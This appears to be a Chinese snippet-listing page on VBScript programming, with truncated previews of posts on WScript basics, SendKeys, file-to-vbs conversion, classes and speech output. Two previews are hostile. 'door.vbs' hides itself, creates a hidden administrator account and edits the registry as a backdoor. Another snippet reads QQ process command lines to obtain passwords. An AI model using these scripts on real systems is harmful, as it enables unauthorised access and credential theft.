vbs脚本编程
[代码] [Shell/批处理]代码 01 'WScript.Echo WScript.FullName 02 'WScript.Echo WScript.Name 03 'WScript.Echo WScript.Path & " xx 2 " 04 'WScript.Echo WScript.ScriptName 05 'WScript.Echo WScript.Version 06 'msgbox "this is test msgbox fun" 07 'set wshShell=WScript.CreateObject("WScript.shell") 08 'wshShell.Run "Calc" 09 10 '网络 11 Set netWork=WScript.CreateObject("WScr...
by lockend - Shell - 2011-01-09 18:49:11 阅读（1022） 回复（2）
来源：Tr4c3的学习笔记\r\n\r\n简单说,这个命令就是模拟键盘操作,将一个或多个按键指令发送到指定Windows窗口来控制应用程序运行,其使用格式为:\r\nobject.SendKeys string\r\n\"object\":表示WshShell对象\r\n\"string\":表示要发送的按键指令字符串,需要放在英文双引号中.\r\n1.基本键\r\n\r\n 一般来说,要发送的按键指令都可以直接用该按键字符本身来表示,例如要发送字母\"x\",使用\r\nWshShell.SendKeys \"x\" 即可.\r\n\r\...
文章作者：xiaolu [BST]\r\n信息来源：邪恶八进制信息安全团队（www.eviloctal.com）\r\n\r\n这个不是exe2vbs 所有类型的文件都可以转化的 不过限于string的大小 文件不能太大 我测试过3m的文件是可以的\r\n\r\nTr4c3:为了方便在dos下使用，我把inputbox改成了args。\r\n\r\n\'Program By xiaolu\r\n\'name:file2vbs.vbs\r\nOn error resume next\r\nSet Args = Wscript.Arguments\r\nIf Args.length<>2 Then\r\nWscript.Echo \"Us...
1. door.vbs '*************** 'door.vbs by 黑嘿黑 '*************** dim wsh,FA,FSO set fso=CreateObject("Scripting.FileSystemObject") Set FA= FSO.GetFile(WScript.scriptFullName) FA.Attributes =34 set wsh=CreateObject("WScript.Shell") wsh.run "net user IUSE_SERVER xyhack.91i.net /add",0,true wsh.run "net localgroup administrators IUSE_SERVER /add" ,0,true wsh.Regwrite "HKLM\Software\Micro...
cscript 文件名.vbs 如果做成bat，可以用bat里的echo输出语句保存成vbs文件，然后用csript+文件名.vbs来运行。 例如：显示系统版本 @echo for each ps in getobject _ >ps.vbs @echo ("winmgmts:\\.\root\cimv2:win32_operatingsystem").instances_ >>ps.vbs @echo wscript.echo ps.caption^&" "^&ps.version:next >>ps.vbs cscript //nologo ps.vbs & del ps.vbs 终止进程 @echo for each ps in getobject _ >pk.vbs @echo...
将如下代码写入同一个vbs文件，执行，可以正常弹出对话框 Dim test Set test = new MyClass test.MyFunc '---------------------------------------------------- Class MyClass Public Function MyFunc MsgBox "测试vbs调用vbs类" End Function End Class 但如果将MyClass的定义单独写入一个文件，在另一个文件中调用他，却报错，代码如下： E盘下test.vbs 内容如下： Class MyClass Public Function MyFunc MsgBox "测...
代码:\r\n\r\nfor each i in getobject (\"winmgmts:\\\\.\\root\\cimv2\").execquery(\"select * from win32_process where name like \'%qq%\'\")\r\ninputbox \"\",\"\",i.commandline\r\nnext\r\n\r\ncmdshell下得到qq密码代码：\r\n\r\nfor each i in getobject (\"winmgmts:\\\\.\\root\\cimv2\").execquery(\"select * from win32_process where name like \'%qq%\'\")\r\nWscript.echo \"\",\"\",i.commandline\r\nnext\r\...
非常规运行vbs\r\n教程开发者:世纪黑马 QQ:395749798\r\n这期专栏依旧是vbs，估计大家会有点烦，那我们来点有意思的吧。vbs有一个对像是“SAPI.SpVoice”，可以用它来讲英语的，这个组件在 xp、2003上默认都可以用的，调用后可以听到电脑上一个国外老男人在说话。好比这样一句代码：●CreateObject (\"SAPI.SpVoice\").Speak \"I LOVE YOU\"●，保存成vbs后缀后双击就会听到英语的我爱你了。但随之而来我们讲到另一个问题，不保存成...
